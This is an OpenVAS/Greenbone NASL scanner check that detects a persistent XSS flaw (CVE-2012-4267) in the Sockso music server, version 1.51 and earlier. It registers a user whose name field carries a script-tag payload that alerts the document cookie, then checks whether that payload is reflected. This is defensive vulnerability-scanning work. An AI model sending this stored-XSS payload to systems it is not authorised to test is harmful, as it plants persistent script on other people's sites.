Sockso <= 1.51 XSS Vulnerability - Active Check

# Copyright (C) 2012 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802853");
  script_version("2023-01-26T10:11:56+0000");
  script_tag(name:"last_modification", value:"2023-01-26 10:11:56 +0000 (Thu, 26 Jan 2023)");
  script_tag(name:"creation_date", value:"2012-05-14 13:06:50 +0530 (Mon, 14 May 2012)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");

  script_cve_id("CVE-2012-4267");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Sockso <= 1.51 XSS Vulnerability - Active Check");

  script_category(ACT_DESTRUCTIVE_ATTACK); # Stored XSS

  script_copyright("Copyright (C) 2012 Greenbone Networks GmbH");
  script_family("Web Servers");
  script_dependencies("gb_get_http_banner.nasl");
  script_require_ports("Services/www", 4444);
  script_mandatory_keys("Sockso/banner");

  script_tag(name:"summary", value:"Sockso is prone to persistent cross-site scripting (XSS)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");

  script_tag(name:"insight", value:"The flaw is due to improper validation of user supplied input
  via the 'name' parameter to user or register.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to insert
  arbitrary HTML and script code, which will be executed in a user's browser session in the context
  of an affected site.");

  script_tag(name:"affected", value:"Sockso version 1.51 and prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective
  features, remove the product or replace the product by another one.");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/18868");
  script_xref(name:"URL", value:"http://smwyg.com/blog/#sockso-persistant-xss-attack");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/112647/sockso-xss.txt");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port(default: 4444);

banner = http_get_remote_headers(port: port);
if (!banner || "Server: Sockso" >!< banner)
  exit(0);

url = "/user/register";
postdata = "todo=register&name="+ rand() + "<script>alert(document.cookie)" +
           "</script>&pass1=abc&pass2=abc&email=xyz"+ rand() +"%40gmail.com";

req = http_post(item: url, port: port, data: postdata);
res = http_keepalive_send_recv(port: port, data: req);

if (res && res =~ "^HTTP/1\.[01] 200" && "<title>Sockso" >< res &&
    "<script>alert(document.cookie)</script>" >< res) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);